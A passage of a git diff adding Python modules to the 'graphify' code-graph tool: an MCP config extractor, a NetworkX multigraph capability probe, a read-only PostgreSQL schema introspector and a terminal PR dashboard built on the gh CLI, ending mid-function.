+ source_file=source_file, + line=1, + ) + _add_edge( + edges, seen_edge_keys, + source=server_nid, + target=pkg_nid, + relation="references", + source_file=source_file, + line=1, + context="package", + ) + + env = spec.get("env") + if isinstance(env, dict): + # ONLY KEYS. Values may contain secrets and are never read here. + for env_name in env.keys(): + if not isinstance(env_name, str) or not env_name: + continue + env_nid = _make_id("env_var", env_name) + _add_node( + nodes, seen_node_ids, + nid=env_nid, + label=env_name, + kind="env_var", + source_file=source_file, + line=1, + ) + _add_edge( + edges, seen_edge_keys, + source=server_nid, + target=env_nid, + relation="requires_env", + source_file=source_file, + line=1, + ) + + +# ── Package detection from args ─────────────────────────────────────────────── + +# Patterns observed in real MCP server configs: +# ["-y", "@modelcontextprotocol/server-filesystem", "/data"] (npx) +# ["-y", "@org/pkg@1.2.3"] +# ["mcp-server-fetch"] (uvx / python) +# ["mcp-server-time", "--local-timezone=UTC"] +# ["@scoped/some-mcp"] (pnpx) +# ["mcp-server-fetch"] (uvx direct) +_NPM_PKG_RE = re.compile(r"^@[a-z0-9][a-z0-9._-]*/[a-z0-9][a-z0-9._-]*(?:@[\w.\-+]+)?$") +_PY_MCP_PKG_RE = re.compile(r"^[a-z0-9][a-z0-9._-]*-mcp(?:-[a-z0-9._-]+)?$|^mcp-[a-z0-9][a-z0-9._-]*$") +_ARG_FLAG_RE = re.compile(r"^-{1,2}\w") + + +def _detect_package_from_args(args: list[Any]) -> str | None: + """Return the first arg that looks like an npm or pypi package id, else None. + + Skips short flags (-y, --yes) and option arguments (--local-timezone=UTC). + """ + for raw in args: + if not isinstance(raw, str): + continue + arg = raw.strip() + if not arg or _ARG_FLAG_RE.match(arg): + continue + if _NPM_PKG_RE.match(arg): + return _strip_version(arg) + if _PY_MCP_PKG_RE.match(arg): + return arg + return None + + +def _strip_version(pkg: str) -> str: + """Drop the ``@version`` suffix from an npm package id, preserving the scope. + + Scoped: ``@scope/name`` or ``@scope/name@1.2.3`` — there are at most two + ``@`` chars; the second is the version separator. + Unscoped: ``name`` or ``name@1.2.3``. + """ + if pkg.startswith("@"): + version_at = pkg.find("@", 1) + return pkg if version_at == -1 else pkg[:version_at] + version_at = pkg.find("@") + return pkg if version_at == -1 else pkg[:version_at] + + +# ── Node / edge construction (Graphify schema) ──────────────────────────────── + + +def _add_node( + nodes: list[dict[str, Any]], + seen: set[str], + *, + nid: str, + label: str, + kind: str, + source_file: str, + line: int, +) -> None: + """Append a node if not already present. ``kind`` is metadata, not file_type.""" + if not nid or nid in seen: + return + seen.add(nid) + nodes.append({ + "id": nid, + "label": sanitize_label(label), + "file_type": "code", + "source_file": source_file, + "source_location": f"L{line}", + "metadata": {"mcp_kind": kind}, + }) + + +def _add_edge( + edges: list[dict[str, Any]], + seen: set[tuple[str, str, str]], + *, + source: str, + target: str, + relation: str, + source_file: str, + line: int, + context: str | None = None, +) -> None: + """Append an edge if (source, target, relation) is not already present.""" + if not source or not target or source == target: + return + key = (source, target, relation) + if key in seen: + return + seen.add(key) + edge: dict[str, Any] = { + "source": source, + "target": target, + "relation": relation, + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": source_file, + "source_location": f"L{line}", + "weight": 1.0, + } + if context: + edge["context"] = context + edges.append(edge) + + +# ── ID helpers (kept local; mirror extract.py shape) ────────────────────────── + + +def _make_id(*parts: str) -> str: + """Build a stable node ID. Must match extract._make_id's normalisation rules.""" + combined = "_".join(p.strip("_.") for p in parts if p) + combined = unicodedata.normalize("NFKC", combined) + cleaned = re.sub(r"[^\w]+", "_", combined, flags=re.UNICODE) + cleaned = re.sub(r"_+", "_", cleaned) + return cleaned.strip("_").casefold() + + +def _file_stem(path: Path) -> str: + """Mirror extract._file_stem: include parent dir name to disambiguate.""" + parent = path.parent.name + if parent and parent not in (".", ""): + return f"{parent}.{path.stem}" + return path.stem diff --git a/skills/graphify/multigraph_compat.py b/skills/graphify/multigraph_compat.py new file mode 100644 index 00000000..7ac62e27 --- /dev/null +++ b/skills/graphify/multigraph_compat.py @@ -0,0 +1,212 @@ +"""Runtime compatibility probe for Graphify MultiDiGraph mode. + +Verifies that the current NetworkX runtime supports the behaviors a future +opt-in --multigraph build will rely on. The probe is BEHAVIOR-based, not +version-based — both NX 3.4.2 (Py 3.10 lane) and NX 3.6.1+ (Py 3.11+ lane) +pass. The probe result is cached for the process lifetime via lru_cache. + +No call sites added yet; downstream multigraph PRs will gate on +require_multigraph_capabilities() before enabling MDG mode. +""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass +from functools import lru_cache +import sys +from typing import Any + +import networkx as nx +from networkx.readwrite import json_graph + + +@dataclass(frozen=True) +class CapabilityCheck: + name: str + ok: bool + detail: str + + +@dataclass(frozen=True) +class MultigraphCapabilityResult: + python_version: str + networkx_version: str + checks: tuple[CapabilityCheck, ...] + + @property + def ok(self) -> bool: + return all(check.ok for check in self.checks) + + @property + def failed(self) -> tuple[CapabilityCheck, ...]: + return tuple(check for check in self.checks if not check.ok) + + def error_message(self) -> str: + if self.ok: + return ( + "Graphify MultiDiGraph capability probe passed " + f"(Python {self.python_version}, NetworkX {self.networkx_version})." + ) + failed = "; ".join(f"{check.name}: {check.detail}" for check in self.failed) + return ( + "error: --multigraph requires NetworkX keyed MultiDiGraph node-link " + "round-trip support. " + f"Detected Python {self.python_version}, NetworkX {self.networkx_version}. " + f"Failed capability check(s): {failed}. " + "Default simple graph mode remains available." + ) + + +def _check(name: str, func: Callable[[], bool | str]) -> CapabilityCheck: + try: + detail = func() + except Exception as exc: + return CapabilityCheck(name, False, f"{type(exc).__name__}: {exc}") + if detail is True: + return CapabilityCheck(name, True, "ok") + if isinstance(detail, str): + return CapabilityCheck(name, False, detail) + return CapabilityCheck(name, False, f"unexpected result {detail!r}") + + +def _build_probe_graph() -> nx.MultiDiGraph: + graph = nx.MultiDiGraph() + graph.add_node("a", label="A") + graph.add_node("b", label="B") + graph.add_edge("a", "b", key="calls:a.py:L1", relation="calls", source_file="a.py") + graph.add_edge("a", "b", key="imports:a.py:L2", relation="imports", source_file="a.py") + return graph + + +def _probe_keyed_parallel_edges() -> bool | str: + graph = _build_probe_graph() + if not graph.is_multigraph() or not graph.is_directed(): + return f"probe graph type was {type(graph).__name__}" + if graph.number_of_edges("a", "b") != 2: + return f"expected 2 keyed parallel edges, got {graph.number_of_edges('a', 'b')}" + keys = set(graph["a"]["b"].keys()) + expected = {"calls:a.py:L1", "imports:a.py:L2"} + if keys != expected: + return f"expected keys {sorted(expected)}, got {sorted(keys)}" + return True + + +def _probe_node_link_round_trip() -> bool | str: + graph = _build_probe_graph() + data = json_graph.node_link_data(graph, edges="links") + if data.get("multigraph") is not True: + return f"serialized multigraph flag was {data.get('multigraph')!r}" + if data.get("directed") is not True: + return f"serialized directed flag was {data.get('directed')!r}" + links = data.get("links") + if not isinstance(links, list) or len(links) != 2: + length = 0 if not isinstance(links, list) else len(links) + return f"serialized links length was {length}" + serialized_keys: set[str] = set() + for edge in links: + if isinstance(edge, dict): + edge_key = edge.get("key") + if isinstance(edge_key, str): + serialized_keys.add(edge_key) + expected = {"calls:a.py:L1", "imports:a.py:L2"} + if serialized_keys != expected: + return f"serialized keys {sorted(serialized_keys)} did not match {sorted(expected)}" + loaded = json_graph.node_link_graph(data, edges="links") + if not isinstance(loaded, nx.MultiDiGraph): + return f"round-trip graph type was {type(loaded).__name__}" + if loaded.number_of_edges("a", "b") != 2: + return f"round-trip edge count was {loaded.number_of_edges('a', 'b')}" + loaded_keys = set(loaded["a"]["b"].keys()) + if loaded_keys != expected: + return f"round-trip keys {sorted(loaded_keys)} did not match {sorted(expected)}" + return True + + +def _probe_duplicate_key_overwrite_semantics() -> bool | str: + graph = nx.MultiDiGraph() + graph.add_edge("x", "y", key="same", marker="first") + graph.add_edge("x", "y", key="same", marker="second") + edges = list(graph.edges(keys=True, data=True)) + if len(edges) != 1: + return f"expected one edge after duplicate-key add, got {len(edges)}" + if edges[0][3].get("marker") != "second": + return f"expected second attr overwrite, got {edges[0][3].get('marker')!r}" + return True + + +def _probe_reserved_key_attr_rejected() -> bool | str: + """Verify the Python language guarantee that NetworkX add_edge inherits. + + Python forbids passing the same keyword argument twice — once explicitly + and once via **kwargs. This probe confirms that protection still applies + to nx.MultiDiGraph.add_edge: a future loader that builds attrs from JSON + will be reliably protected from accidentally setting `key` via attrs while + also passing `key=` explicitly. + + The probe always passes on any Python 3.x version. Its purpose is to + document the invariant explicitly in the probe suite so that if a future + Python version relaxes this rule (extremely unlikely), the probe surfaces + the regression. + """ + graph = nx.MultiDiGraph() + attrs: dict[str, Any] = {"key": "attr-key", "relation": "calls"} + try: + graph.add_edge("a", "b", key="schema-key", **attrs) + except TypeError: + return True + return "add_edge accepted duplicate key keyword and attr; loader must not rely on this" + + +def _probe_remove_edges_from_two_tuple_semantics() -> bool | str: + graph = nx.MultiDiGraph() + graph.add_edge("a", "b", key="one") + graph.add_edge("a", "b", key="two") + graph.remove_edges_from([("a", "b")]) + remaining = graph.number_of_edges("a", "b") + if remaining != 1: + return f"expected one remaining edge after two-tuple removal, got {remaining}" + return True + + +def _probe_to_undirected_preserves_multigraph_type() -> bool | str: + graph = _build_probe_graph() + undirected = graph.to_undirected() + undirected_view = graph.to_undirected(as_view=True) + if not isinstance(undirected, nx.MultiGraph): + return f"to_undirected() returned {type(undirected).__name__}" + if not isinstance(undirected_view, nx.MultiGraph): + return f"to_undirected(as_view=True) returned {type(undirected_view).__name__}" + return True + + +@lru_cache(maxsize=1) +def probe_multigraph_capabilities() -> MultigraphCapabilityResult: + checks = ( + _check("keyed_parallel_edges", _probe_keyed_parallel_edges), + _check("node_link_edges_links_round_trip", _probe_node_link_round_trip), + _check("duplicate_key_overwrite_semantics", _probe_duplicate_key_overwrite_semantics), + _check("reserved_key_attr_rejected", _probe_reserved_key_attr_rejected), + _check( + "remove_edges_from_two_tuple_semantics", + _probe_remove_edges_from_two_tuple_semantics, + ), + _check( + "to_undirected_preserves_multigraph_type", + _probe_to_undirected_preserves_multigraph_type, + ), + ) + return MultigraphCapabilityResult( + python_version=( + f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}" + ), + networkx_version=nx.__version__, + checks=checks, + ) + + +def require_multigraph_capabilities() -> MultigraphCapabilityResult: + result = probe_multigraph_capabilities() + if not result.ok: + raise RuntimeError(result.error_message()) + return result diff --git a/skills/graphify/pg_introspect.py b/skills/graphify/pg_introspect.py new file mode 100644 index 00000000..9182ffea --- /dev/null +++ b/skills/graphify/pg_introspect.py @@ -0,0 +1,142 @@ +from __future__ import annotations +from pathlib import Path +from graphify.extract import extract_sql + + +def _quote_ident(name: str) -> str: + """Double-quote a PostgreSQL identifier, escaping embedded double-quotes.""" + return '"' + name.replace('"', '""') + '"' + + +def introspect_postgres(dsn: str | None = None) -> dict: + """Connect to PostgreSQL, reconstruct DDL, and extract via extract_sql().""" + try: + import psycopg + except ModuleNotFoundError: + raise ImportError( + "psycopg is required for --postgres. " + "Install with: pip install 'graphify[postgres]'" + ) + + try: + conn = psycopg.connect(dsn or "") # empty string = PG* env vars + except psycopg.OperationalError as exc: + # Sanitize: strip the DSN/credentials that psycopg may embed in the + # OperationalError message (e.g. "connection to server … failed: …\nDETAIL: …") + msg = str(exc).split("\n")[0] + raise ConnectionError(f"could not connect to PostgreSQL: {msg}") from None + + try: + conn.execute("SET TRANSACTION ISOLATION LEVEL SERIALIZABLE READ ONLY DEFERRABLE") + + # 1. Query tables + with conn.cursor() as cur: + cur.execute(""" + SELECT table_schema, table_name, table_type + FROM information_schema.tables + WHERE table_schema NOT IN ('pg_catalog', 'information_schema') + ORDER BY table_schema, table_name; + """) + tables = cur.fetchall() + + # 2. Query views + cur.execute(""" + SELECT table_schema, table_name, view_definition + FROM information_schema.views + WHERE table_schema NOT IN ('pg_catalog', 'information_schema') + ORDER BY table_schema, table_name; + """) + views = cur.fetchall() + + # 3. Query routines (functions/procedures), including language + cur.execute(""" + SELECT routine_schema, routine_name, routine_type, + routine_definition, external_language + FROM information_schema.routines + WHERE routine_schema NOT IN ('pg_catalog', 'information_schema') + ORDER BY routine_schema, routine_name; + """) + routines = cur.fetchall() + + # 4. Query foreign keys — grouped by constraint to handle composites + cur.execute(""" + SELECT + tc.constraint_name, + kcu1.table_schema, + kcu1.table_name, + ARRAY_AGG(kcu1.column_name ORDER BY kcu1.ordinal_position) AS columns, + kcu2.table_schema AS foreign_table_schema, + kcu2.table_name AS foreign_table_name, + ARRAY_AGG(kcu2.column_name ORDER BY kcu2.ordinal_position) AS foreign_columns + FROM + information_schema.table_constraints AS tc + JOIN information_schema.referential_constraints AS rc + ON tc.constraint_name = rc.constraint_name + AND tc.table_schema = rc.constraint_schema + JOIN information_schema.key_column_usage AS kcu1 + ON tc.constraint_name = kcu1.constraint_name + AND tc.table_schema = kcu1.table_schema + JOIN information_schema.key_column_usage AS kcu2 + ON rc.unique_constraint_name = kcu2.constraint_name + AND rc.unique_constraint_schema = kcu2.table_schema + AND kcu1.position_in_unique_constraint = kcu2.ordinal_position + WHERE tc.constraint_type = 'FOREIGN KEY' + AND tc.table_schema NOT IN ('pg_catalog', 'information_schema') + GROUP BY tc.constraint_name, kcu1.table_schema, kcu1.table_name, + kcu2.table_schema, kcu2.table_name + ORDER BY kcu1.table_schema, kcu1.table_name; + """) + fks = cur.fetchall() + finally: + conn.close() + + ddl = [] + + # Tables — quote identifiers to handle reserved words, hyphens, mixed-case + for schema, name, ttype in tables: + if ttype == "BASE TABLE": + ddl.append(f"CREATE TABLE {_quote_ident(schema)}.{_quote_ident(name)} (id INT);") + + # Views — real body if available, stub if NULL (permission denied) + for schema, name, body in views: + if body: + ddl.append(f"CREATE VIEW {_quote_ident(schema)}.{_quote_ident(name)} AS {body};") + else: + ddl.append(f"CREATE VIEW {_quote_ident(schema)}.{_quote_ident(name)} AS SELECT 1;") + + # Functions & Procedures — real body if available, stub if NULL + # Use $gfx$ as the dollar-quote tag to avoid collision with $$ inside bodies. + # Use external_language from the catalog; fall back to plpgsql if NULL/blank. + for schema, name, rtype, body, ext_lang in routines: + lang = (ext_lang or "plpgsql").lower() + fn_sig = f"{_quote_ident(schema)}.{_quote_ident(name)}()" + stub_body = "BEGIN SELECT 1; END;" + if rtype in ("FUNCTION", "PROCEDURE"): + actual_body = body if body else stub_body + # Represent PROCEDUREs as FUNCTION so tree-sitter-sql can parse them + ddl.append( + f"CREATE FUNCTION {fn_sig} RETURNS void" + f" AS $gfx$ {actual_body} $gfx$ LANGUAGE {lang};" + ) + + # FK edges — one ALTER TABLE per constraint (handles composite FKs correctly) + for constraint_name, t_schema, t_name, cols, r_schema, r_name, r_cols in fks: + col_list = ", ".join(_quote_ident(c) for c in cols) + ref_col_list = ", ".join(_quote_ident(c) for c in r_cols) + ddl.append( + f"ALTER TABLE {_quote_ident(t_schema)}.{_quote_ident(t_name)} " + f"ADD CONSTRAINT {_quote_ident(constraint_name)} " + f"FOREIGN KEY ({col_list}) REFERENCES {_quote_ident(r_schema)}.{_quote_ident(r_name)}({ref_col_list});" + ) + + ddl_string = "\n".join(ddl) + + # Determine host/dbname for virtual path DSN sanitization + info = psycopg.conninfo.conninfo_to_dict(dsn or "") + host = info.get("host", "localhost") + dbname = info.get("dbname", "db") + virtual_path = Path(f"postgresql://{host}/{dbname}") + + # Pass virtual path and in-memory DDL content to extract_sql + result = extract_sql(virtual_path, content=ddl_string) + return result \ No newline at end of file diff --git a/skills/graphify/prs.py b/skills/graphify/prs.py new file mode 100644 index 00000000..319892e9 --- /dev/null +++ b/skills/graphify/prs.py @@ -0,0 +1,748 @@ +"""graphify prs — graph-aware PR dashboard. + +Fast terminal overview of open PRs with CI/review state, worktree mapping, +and optional graph-impact analysis (which communities a PR touches) and +Opus-powered triage ranking. + +Usage: + graphify prs # dashboard of all open PRs + graphify prs # deep dive on one PR + graphify prs --triage # Opus ranks your review queue + graphify prs --worktrees # show worktree → branch → PR mapping + graphify prs --conflicts # PRs sharing graph communities (merge-order risk) + graphify prs --base # filter to PRs targeting this base (default: v8) +""" + +from __future__ import annotations + +import json +import os +import re +import subprocess +import sys +from collections import defaultdict +from concurrent.futures import ThreadPoolExecutor, as_completed +from dataclasses import dataclass, field +from datetime import datetime, timezone +from pathlib import Path + + +# ── ANSI colours ───────────────────────────────────────────────────────────── + +_NO_COLOR = not sys.stdout.isatty() or os.environ.get("NO_COLOR") + +def _c(code: str, text: str) -> str: + if _NO_COLOR: + return text + return f"\033[{code}m{text}\033[0m" + +def green(t: str) -> str: return _c("32", t) +def red(t: str) -> str: return _c("31", t) +def yellow(t: str) -> str: return _c("33", t) +def cyan(t: str) -> str: return _c("36", t) +def bold(t: str) -> str: return _c("1", t) +def dim(t: str) -> str: return _c("2", t) +def magenta(t: str) -> str: return _c("35", t) + +_ANSI_RE = re.compile(r"\033\[[0-9;]*m") + +def _pad(s: str, width: int) -> str: + """Pad an ANSI-colored string to visible width (strips escape codes for length calc).""" + visible_len = len(_ANSI_RE.sub("", s)) + return s + " " * max(0, width - visible_len) + + +# ── Data model ──────────────────────────────────────────────────────────────── + +@dataclass +class PRInfo: + number: int + title: str + branch: str + base_branch: str + author: str + is_draft: bool + review_decision: str # APPROVED | CHANGES_REQUESTED | "" + ci_status: str # SUCCESS | FAILURE | PENDING | NONE + updated_at: datetime + expected_base: str = "main" # set by fetch_prs via _detect_default_branch + worktree_path: str | None = None + # Graph impact — populated when graph.json exists + communities_touched: list[int] = field(default_factory=list) + nodes_affected: int = 0 + files_changed: list[str] = field(default_factory=list) + + @property + def status(self) -> str: + return _classify(self, self.expected_base) + + @property + def days_old(self) -> int: + return (datetime.now(timezone.utc) - self.updated_at).days + + @property + def blast_radius(self) -> str: + if not self.nodes_affected: + return "" + n = self.nodes_affected + c = len(self.communities_touched) + return f"{n} node{'s' if n != 1 else ''} / {c} communit{'ies' if c != 1 else 'y'}" + + +# ── Classification ──────────────────────────────────────────────────────────── + +_STATUS_ORDER = ["WRONG-BASE", "CI-FAIL", "CHANGES-REQ", "DRAFT", "STALE", "PENDING", "APPROVED", "READY"] +_STALE_DAYS = 14 + + +def _classify(pr: "PRInfo", base: str = "v8") -> str: + if pr.base_branch != base: + return "WRONG-BASE" + if pr.ci_status == "FAILURE": + return "CI-FAIL" + if pr.review_decision == "CHANGES_REQUESTED": + return "CHANGES-REQ" + if pr.is_draft: + return "DRAFT" + if pr.days_old >= _STALE_DAYS: + return "STALE" + if pr.review_decision == "APPROVED": + return "APPROVED" + if pr.ci_status == "PENDING": + return "PENDING" + return "READY" + + +def _status_color(status: str) -> str: + return { + "READY": green(status), + "APPROVED": bold(green(status)), + "CI-FAIL": red(status), + "CHANGES-REQ": red(status), + "WRONG-BASE": dim(status), + "STALE": dim(status), + "DRAFT": yellow(status), + "PENDING": yellow(status), + }.get(status, status) + + +def _ci_icon(status: str) -> str: + return {"SUCCESS": green("✓"), "FAILURE": red("✗"), "PENDING": yellow("…"), "NONE": dim("–")}.get(status, "?") + + +# ── GitHub data fetching ────────────────────────────────────────────────────── + +def _gh(*args: str) -> list | dict | None: + try: + result = subprocess.run( + ["gh", *args], + capture_output=True, text=True, timeout=30 + ) + if result.returncode != 0: + return None + return json.loads(result.stdout) + except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError): + return None + + +def _detect_default_branch(repo: str | None = None) -> str: + """Auto-detect the repo's default branch via gh, then git, then fall back to 'main'.""" + # Try gh first — works for any repo, not just the current directory + args = ["repo", "view", "--json", "defaultBranchRef"] + if repo: + args += ["--repo", repo] + data = _gh(*args) + if data and data.get("defaultBranchRef", {}).get("name"): + return data["defaultBranchRef"]["name"] + # Fall back to git symbolic-ref for the current repo + try: + result = subprocess.run( + ["git", "symbolic-ref", "refs/remotes/origin/HEAD"], + capture_output=True, text=True, timeout=5 + ) + if result.returncode == 0: + # refs/remotes/origin/main → main + ref = result.stdout.strip() + return ref.split("/")[-1] if ref else "main" + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + return "main" + + +_CI_FAILURE_CONCLUSIONS = frozenset({"FAILURE", "CANCELLED", "TIMED_OUT", "ACTION_REQUIRED", "STARTUP_FAILURE"}) + + +def _parse_ci(rollup: list) -> str: + if not rollup: + return "NONE" + conclusions = {r.get("conclusion") for r in rollup if r.get("conclusion")} + if conclusions & _CI_FAILURE_CONCLUSIONS: + return "FAILURE" + statuses = {r.get("status") for r in rollup} + if "IN_PROGRESS" in statuses or "QUEUED" in statuses: + return "PENDING" + if "SUCCESS" in conclusions: + return "SUCCESS" + return "NONE" + + +def fetch_prs(repo: str | None = None, base: str | None = None, limit: int = 50) -> list[PRInfo]: + resolved_base = base or _detect_default_branch(repo) + args = [ + "pr", "list", "--state", "open", "--limit", str(limit), + "--json", "number,title,headRefName,baseRefName,author,isDraft," + "reviewDecision,statusCheckRollup,updatedAt", + ] + if repo: + args += ["--repo", repo] + + raw = _gh(*args) + if raw is None: + raise RuntimeError("gh CLI not found or not authenticated. Run: gh auth login") + + prs = [] + for item in raw: + updated = datetime.fromisoformat(item["updatedAt"].replace("Z", "+00:00")) + prs.append(PRInfo( + number=item["number"], + title=item["title"], + branch=item["headRefName"], + base_branch=item["baseRefName"], + author=item["author"]["login"] if item.get("author") else "?", + is_draft=item.get("isDraft", False), + review_decision=item.get("reviewDecision") or "", + ci_status=_parse_ci(item.get("statusCheckRollup") or []), + updated_at=updated, + expected_base=resolved_base, + )) + return prs + + +def fetch_pr_files(number: int, repo: str | None = None) -> list[str]: + args = ["pr", "diff", str(number), "--name-only"] + if repo: + args += ["--repo", repo] + try: + result = subprocess.run(["gh", *args], capture_output=True, text=True, timeout=30) + if result.returncode != 0: + return [] + return [l.strip() for l in result.stdout.splitlines() if l.strip()] + except (subprocess.TimeoutExpired, FileNotFoundError): + return [] + + +# ── Graph-native impact (used by MCP tools — works on nx.Graph directly) ───── + +def _path_match(graph_src: str, pr_file: str) -> bool: + """True if graph_src and pr_file refer to the same file (path-boundary safe).""" + if graph_src == pr_file: + return True + return graph_src.endswith("/" + pr_file) or pr_file.endswith("/" + graph_src) + + +def compute_pr_impact(files: list[str], G: "nx.Graph") -> tuple[list[int], int]: + """Return (communities_touched, nodes_affected) for a set of changed files. + + Builds a file→(communities, count) index first so lookup is O(nodes + files) + rather than O(nodes × files). + """ + # Build index once + file_comms: dict[str, set[int]] = {} + file_count: dict[str, int] = {} + for _, data in G.nodes(data=True): + src = data.get("source_file") or "" + if not src: + continue + if src not in file_comms: + file_comms[src] = set() + file_count[src] = 0 + c = data.get("community") + if c is not None: + file_comms[src].add(int(c)) + file_count[src] += 1 + + comms: set[int] = set() + nodes = 0 + matched: set[str] = set() + for f in files: + for src, src_comms in file_comms.items(): + if src not in matched and _path_match(src, f): + comms |= src_comms + nodes += file_count[src] + matched.add(src) + return sorted(comms), nodes + + +def format_prs_text(prs: list["PRInfo"], base: str) -> str: + """Plain-text PR summary for MCP output (no ANSI).""" + actionable = [p for p in prs if p.base_branch == base] + wrong = len(prs) - len(actionable) + lines = [f"Open PRs targeting {base}: {len(actionable)} ({wrong} on wrong base, not shown)\n"] + for p in sorted(actionable, key=lambda x: (_STATUS_ORDER.index(x.status) if x.status in _STATUS_ORDER else 99, x.days_old)): + impact = f" blast_radius={p.blast_radius}" if p.blast_radius else "" + lines.append( + f"#{p.number} [{p.status}] CI={p.ci_status} review={p.review_decision or 'none'} " + f"age={p.days_old}d author={p.author}{impact}\n {p.title}" + ) + return "\n\n".join(lines) + + +# ── Worktree mapping ────────────────────────────────────────────────────────── + +def fetch_worktrees() -> dict[str, str]: + """Returns {branch: worktree_path}.""" + try: + result = subprocess.run( + ["git", "worktree", "list", "--porcelain"], + capture_output=True, text=True, timeout=10 + ) + if result.returncode != 0: + return {} + except (subprocess.TimeoutExpired, FileNotFoundError): + return {} + + mapping: dict[str, str] = {} + current_path = None + for line in result.stdout.splitlines(): + if not line: + current_path = None # blank line = record separator; reset to avoid leaking across detached HEADs + elif line.startswith("worktree "): + current_path = line[9:] + elif line.startswith("branch refs/heads/") and current_path: + mapping[line[18:]] = current_path + return mapping + + +# ── Graph impact analysis ───────────────────────────────────────────────────── + +def _load_graph_json(graph_path: Path) -> dict | None: + if not graph_path.exists(): + return None + from graphify.security import check_graph_file_size_cap + try: + check_graph_file_size_cap(graph_path) + return json.loads(graph_path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError, ValueError): + return None + + +def build_community_labels(data: dict, top_n: int = 4) -> dict[int, list[str]]: + """Return {community_id: [top_labels]} extracted from graph node data.""" + comm_labels: dict[int, list[str]] = defaultdict(list) + for node in data.get("nodes", []): + c = node.get("community") + if c is None: + continue + label = node.get("label") or node.get("id") or "" + if label: + comm_labels[int(c)].append(label) + return {c: labels[:top_n] for c, labels in comm_labels.items()} + + +def attach_graph_impact( + prs: list[PRInfo], graph_path: Path, repo: str | None = None +) -> dict[int, list[str]]: + """Fetch PR file lists concurrently, compute graph impact, return community labels.""" + data = _load_graph_json(graph_path) + if not data: + return {} + + # Build file → {community, node_count} index + file_to_communities: dict[str, set[int]] = {} + file_to_nodes: dict[str, int] = {} + for node in data.get("nodes", []): + src = node.get("source_file") or "" + if not src: + continue + comm = node.get("community") + if src not in file_to_communities: + file_to_communities[src] = set() + file_to_nodes[src] = 0 + if comm is not None: + file_to_communities[src].add(int(comm)) + file_to_nodes[src] += 1 + + # Fetch diffs concurrently — gh pr diff is the bottleneck (network I/O) + actionable = [pr for pr in prs if pr.status != "WRONG-BASE"] + workers = min(8, len(actionable)) if actionable else 1 + with ThreadPoolExecutor(max_workers=workers) as pool: + future_to_pr = { + pool.submit(fetch_pr_files, pr.number, repo): pr + for pr in actionable + } + for fut in as_completed(future_to_pr): + pr = future_to_pr[fut] + try: + files = fut.result() + except Exception: + files = [] + pr.files_changed = files + + comms: set[int] = set() + nodes = 0 + matched: set[str] = set() + for f in files: + for gf, gcomms in file_to_communities.items(): + if gf not in matched and _path_match(gf, f): + comms |= gcomms + nodes += file_to_nodes.get(gf, 0) + matched.add(gf) + pr.communities_touched = sorted(comms) + pr.nodes_affected = nodes + + return build_community_labels(data) + + +# ── Dashboard rendering ─────────────────────────────────────────────────────── + +def _truncate(s: str, n: int) -> str: + return s if len(s) <= n else s[:n - 1] + "…" + + +def render_dashboard(prs: list[PRInfo], base: str = "v8", show_wrong_base: bool = False) -> None: + actionable = [p for p in prs if p.base_branch == base] + wrong_base = [p for p in prs if p.base_branch != base] + + # Sort: READY first, then by status order, then by recency + actionable.sort(key=lambda p: (_STATUS_ORDER.index(p.status) if p.status in _STATUS_ORDER else 99, p.days_old)) + + print() + print(bold(f" graphify prs · base: {base} · {len(actionable)} PRs")) + print() + + if not actionable: + print(dim(" No open PRs targeting this base branch.")) + else: + # Header + print(f" {'#':>4} {'CI':2} {'STATUS':13} {'UPDATED':8} {'IMPACT':22} TITLE") + print(f" {'─'*4} {'─'*2} {'─'*13} {'─'*8} {'─'*22} {'─'*40}") + + for pr in actionable: + status_str = _pad(_status_color(pr.status), 13) + ci_str = _ci_icon(pr.ci_status) + age = f"{pr.days_old}d" if pr.days_old > 0 else "today" + impact = _pad(dim(_truncate(pr.blast_radius, 22)), 22) if pr.blast_radius else _pad(dim("–"), 22) + wt = f" {cyan('⬡')}" if pr.worktree_path else " " + draft = dim(" [draft]") if pr.is_draft else "" + title = _truncate(pr.title, 52) + num = _pad(bold(f"#{pr.number}"), 6) + print(f" {num}{wt} {ci_str} {status_str} {age:>6} {impact} {title}{draft}") + + # Summary line + by_status: dict[str, int] = {} + for p in actionable: + by_status[p.status] = by_status.get(p.status, 0) + 1 + + parts = [] + if by_status.get("READY"): parts.append(green(f"{by_status['READY']} ready")) + if by_status.get("APPROVED"): parts.append(bold(green(f"{by_status['APPROVED']} approved"))) + if by_status.get("PENDING"): parts.append(yellow(f"{by_status['PENDING']} pending CI")) + if by_status.get("CI-FAIL"): parts.append(red(f"{by_status['CI-FAIL']} CI failing")) + if by_status.get("CHANGES-REQ"):parts.append(red(f"{by_status['CHANGES-REQ']} changes requested")) + if by_status.get("DRAFT"): parts.append(yellow(f"{by_status['DRAFT']} draft")) + if by_status.get("STALE"): parts.append(dim(f"{by_status['STALE']} stale")) + + if wrong_base: + parts.append(dim(f"{len(wrong_base)} wrong base")) + + print() + print(f" {' · '.join(parts)}") + print() + + if wrong_base and show_wrong_base: + print(dim(f" ── {len(wrong_base)} PRs targeting wrong base ──")) + for pr in sorted(wrong_base, key=lambda p: p.number, reverse=True): + print(dim(f" #{pr.number:4} base={pr.base_branch:12} {_truncate(pr.title, 60)}")) + print() + + +def render_worktrees(prs: list[PRInfo], worktrees: dict[str, str]) -> None: + print() + print(bold(" Worktrees")) + print() + if not worktrees: + print(dim(" No active worktrees found.")) + print() + return + + pr_by_branch = {p.branch: p for p in prs} + for branch, path in sorted(worktrees.items()): + pr = pr_by_branch.get(branch) + if pr: + status = _status_color(pr.status) + print(f" {cyan(path)}") + print(f" {dim('branch:')} {branch} -> PR {bold(f'#{pr.number}')} [{status}] {_truncate(pr.title, 50)}") + else: + print(f" {cyan(path)}") + print(f" {dim('branch:')} {branch} {dim('(no open PR)')}") + print() + + +def render_conflicts( + prs: list[PRInfo], + base: str = "v8", + community_labels: dict[int, list[str]] | None = None, +) -> None: + actionable = [p for p in prs if p.base_branch == base and p.communities_touched] + if not actionable: + print(dim("\n No graph impact data - run with a valid graph.json to detect conflicts.\n")) + return + + # Build community → [PRs] map + comm_to_prs: dict[int, list[PRInfo]] = {} + for pr in actionable: + for c in pr.communities_touched: + comm_to_prs.setdefault(c, []).append(pr) + + conflicts = {c: ps for c, ps in comm_to_prs.items() if len(ps) > 1} + if not conflicts: + print(green("\n 